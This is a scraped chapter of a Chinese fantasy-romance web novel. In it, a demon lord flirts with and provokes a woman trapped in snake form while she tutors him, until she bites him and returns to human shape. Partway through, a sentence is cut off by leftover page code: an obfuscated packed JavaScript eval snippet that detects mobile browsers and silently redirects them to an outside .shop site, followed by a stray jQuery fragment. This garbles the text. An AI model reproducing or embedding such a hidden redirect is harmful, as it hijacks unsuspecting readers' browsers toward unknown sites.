文趣网 > 都市小说 > 我给魔崽九年义务教育 > 78. 第七十八章
    君晚照歪着蛇嘴,抬起一只眼瞪着温衡,摸不透这厮又想搞什么幺蛾子。

    温衡半垂眼眸,与蜷缩在洁净竹桌上的君晚照四目相对,目光炽热又坦诚:“我要成为学识渊博、才高八斗的人,代表喜鹊族前往大奉王朝参加科举,你得保证让我金榜题名。”

    面对他一本正经的胡说八道,君晚照掀了掀眼皮,深呼吸一口笑道:“麻烦你瞧瞧外头的天色。”

    温衡抬眼看向前方窗户外头的天空,眼眸困惑:“两者有何关联?”

    君晚照皮笑肉不笑,咬着牙一字一顿地讽刺他:“天还没黑,你便开始做梦。”

    温衡眼睫翕动片刻,叹息一声,神色显得极其无奈又嫌弃:“看来是我太高估你了。”

    君晚照斜视着他,反唇相讥:“是你太高估自己。”

    温衡眸色骤然巨变,抬手掐着君晚照的蛇脖子高举,眸里迸射出慑人的气势:“看来你对这世间毫无留恋了。”

    君晚照切身感受到这位魔尊凛冽的杀意,登时僵直着蛇身,眼眸里的惊恐转瞬变得肃然,绷着脸正色道:“我们先来学习被引为科考经典的《大奉策论》。”

    心里却在苦涩哀嚎:从前她逮住温衡便要他念书,如今温衡逮住她逼她教他念书,还真是风水轮流转,苍天饶过谁!

    温衡这回似乎是下定决心认真念书,宛如乖宝宝般神色专注地在桌案上铺开宣纸,执笔看向君晚照,静心等待。

    君晚照酝酿了片刻情绪,抬眼看向温衡。一个好的夫子向来不会拒绝敏而好学的弟子,无论这位弟子是何等身份。

    她清了清嗓子,出自以往习惯,自然而然地端着夫子的架势给温衡授课,声音清脆有力。

    “今日策问:以霸道力量服人,可否能长久统御众生?”

    温衡指尖凝着一缕凛冽妖气,落笔毫不迟疑:“乱世中人心不古,强者执掌生杀大权,不求强者活该予取予夺,敬畏是秩序,力量是绝对权力,乃制衡天下的最佳利器。”

    君晚照目光落在跃然纸上的字,依旧是狗爬式,潦草得人神共愤。

    她皱着眉,先佩服一下能看懂此等艺术字的自己,再教导道:“以粗蛮之力统御天下,只能压一时,不可长久,强势镇压与纷乱杀伐自会源源不断催生仇恨,日久见人心,叛乱与仇敌终将大厦倾覆,不可取也。”

    温衡也不为难君晚照,将笔置回笔隔搁追,半垂眼睑追问:“那霸道力量与以德服人如何并存,让长期混战的天下和睦一家,还百姓海晏河清?”

    君晚照蜷缩着蛇身,目不斜视道:“强者以绝对权势禁暴行,行仁德施情义收服人心,以法为度,以德为序,赏罚分明,兼济天下,有容乃大。”

    ……

    夕阳晚照,霞光万丈,从温衡对面的窗台映照在一蛇一喜鹊妖的脸上,谱写着美好的和谐。

    他们两人你一言我一语地进行学术交流,气氛浓郁,书香四溢。

    可温衡丝毫没有沉浸其中,左手将君晚照的蛇身卷到手腕上凑到面前,右手抬起一根手指摸着她圆润的小脑袋。

    他神色真挚乖巧,凝着君晚照的眸光却似乎夹杂着几分缱绻暧昧:“君夫子如此通晓此理,为何不向我施展施展?我的心很好收买的,只需你稍微施展些许仁德情义。”

    君晚照眼神惊怔,心下“咯噔”一声,捣鼓如雷。

    她直觉温衡的眸光过于炽热,眼神里藏着意味不明的暧昧,下意识地侧脸躲避:“我高攀不起。”

    温衡的手指腹缓缓如描画般划着她的蛇身,态度暧昧至极,可神色却肃然:“那我折腰,你上我下。”

    “……”

    君晚照脸色黑了黑,认为这厮在明目张胆地调戏她。

    她感觉这副蛇身子传递来一种麻麻的痒,不安地扭动着,蛇尾巴在空中划了几下,欲打向温衡那不安分的手指,却又犹豫。

    温衡视而不见,伪装成好学弟子,孜孜不倦地追问:“君夫子,策问有言,驭下之术,是以酷刑威慑,还是论功行赏?”

    君晚照见温衡一副温顺弟子模样,神色又是一顿,认为心高气傲的魔尊断不会做出调戏一条蛇此等荒唐事,为方才的自作多情面露尴尬之色。

    虽则她听出温衡话中有话,但不想再用龌龊的心思去度温衡好学的心思,便刻意忽略此点,屏除杂念,一本正经的教学。

    “自是以威禁恶,以赏论功,两者相辅相成,不可或缺。若是只是以为示威,那只能得到麾下众人的畏惧,他们不会真心实意地为你施展才能,若建功者得不到回报,日子久了,积怨愈加深,不再尽忠卖力,反而随时倒戈相向。”

    温衡摆出一副恍然大悟的神色,肃然颔首,嘴里却说着不正经的话语:“君夫子方才向我施威,我也乖顺念书,不知君夫子如何奖赏我?”

    君晚照瞪大着蛇眼,用力吐着蛇信子,激动质问;“我何时向你施威?”

    相对于她的激烈反应,温衡显得平静无波,淡然回应:“君夫子授课时自带夫子威严,压得弟子我瑟瑟发抖,怎么着也得给点奖赏,我才能积极念书,不是么?”

    君晚照再次唾弃自己思想龌龊,又将温衡的敏而好学误会成肆意调侃,凝着他那深邃深挚的眼眸,态度温和道:“你想要什么?”

    温衡抬起手指轻轻挑了挑君晚照的蛇下颚,目光灼灼,眼神似在责备:“君夫子你得细细琢磨,在奖赏弟子这件事上怎能偷懒,不动动脑子?”

    君晚照移开脑袋躲避温衡的挑逗,压着冒出来的火苗,冷言冷语道:“我只是一条小花蛇,能奖励你什么,咬你一口要不要?”

    她掀了掀蛇眼,认为再迟钝笨拙的人也能从她直白的言语当中读懂她的怒气,进而识趣地收敛冒犯的行为。

    然而,温衡凝着她的眼,刻意忽略重点,斩钉截铁道:“要。”

    “……”君晚照上下打量着眼前的温衡,百思不得其

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762549|204144||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    解,此人意欲何为。

    温衡抬起食指与中指轻轻刮着君晚照的蛇头下颚,紧蹙的眉宇下那眼神显得有些不耐烦:“我说要,你没听懂么?”

    君晚照抬起蛇尾巴甩过去,可惜被躲开。

    这下她再迟钝也知晓这厮方才并非在专注学习,是在拿她当消遣的小玩意,顿时气得火冒三丈,厉声放狠话:“你再这般发癫我便咬了,狠狠地咬。”

    温衡像是存心气死她,似笑非笑地揶揄道:“不咬的话,你这辈子只能当条蛇,当我的小宠物。”

    好恶毒的诅咒!

    君晚照怒瞪温衡一眼,咬碎了牙,下一刻,脑子气血上涌,张嘴便狠狠咬着温衡那两只不安分的手指。

    她咬得很凶,温衡的双指很快溢出血来。

    换做是从前,胆小怯弱的君晚照定然心生不安,缩微后退道歉,可不知为何,血液渗出的那刻,空气中弥漫着血液的气味于她而言竟诱人得如同最美味的食物,催使她忍不住吸食温衡的血液。

    这是她头一回饮血,旁人的血液如何,君晚照不得而知,可温衡的血液香甜诱人,美味得让她无法抵挡诱惑,如同饥渴已久的人遇见甘霖那般,充满着极致的渴求。

    她忘乎所以地吸食着血液,直到——倒头睡下。

    温衡见是时候,将其置放在竹床上,下一瞬,小花蛇恢复了君晚照的人形模样。

    温衡坐到床榻边缘,抬手轻抚着那张秾丽又带几分清冷的脸,眼眸里凝着执着与复杂情感。

    此时,门外传来了气喘吁吁的喘气声与急促的脚步声,温衡皱着眉起身,挥袖施法走向门口,在他背后的床榻瞬间垂下帷幔,而床榻上的君晚照眼皮子却动了动,似又苏醒的迹象。

    为了不被打扰,温衡特意在竹屋周围施展了术法,只能出不能进。抬脚迈出门槛时,他瞥见大汗淋漓的温老六,眸光沉沉。

    他的这位六哥向来无事不登三宝殿,一心问道修仙,与他从不交恶,也不交好。

    施展术法的那刻,温衡本意是与世隔绝,不再管喜鹊一族的破烂事,毕竟他们向来待他不仁义,不杀他们已是最大的仁慈。可瞧见温老六神色匆匆、惊恐不安地呼唤着他“七弟”时,他又禁不住心软,撤了术法,再次让自己卷入其中。

    “出事了?”他挑着眉,故作冷漠道。

    向来口吃的温老六脚步凌乱地跑到温衡跟前双手攥着他的衣袖,眼里充满了迫切与渴求;“七、七弟,不、不好了,大、大蛇蛇、妖、妖、妖妖来村里抢抢蛋仔仔……”

    与宠物乖乖、灵气青竹蹲在竹林某处的钱多多瞧见温家人苦苦哀求温衡,摇头叹息:【喜鹊一族如此待温衡,以温衡高傲冷漠的性子,想必不会出手相救】

    恢复意识的君晚照得闻系统的话语,坐起身抬手撩起帷幔,身子离开了床榻。她垂眸打量着双臂,喜溢眉梢,目光流转间回应钱多多的话。

    “他一定会出手相救的。”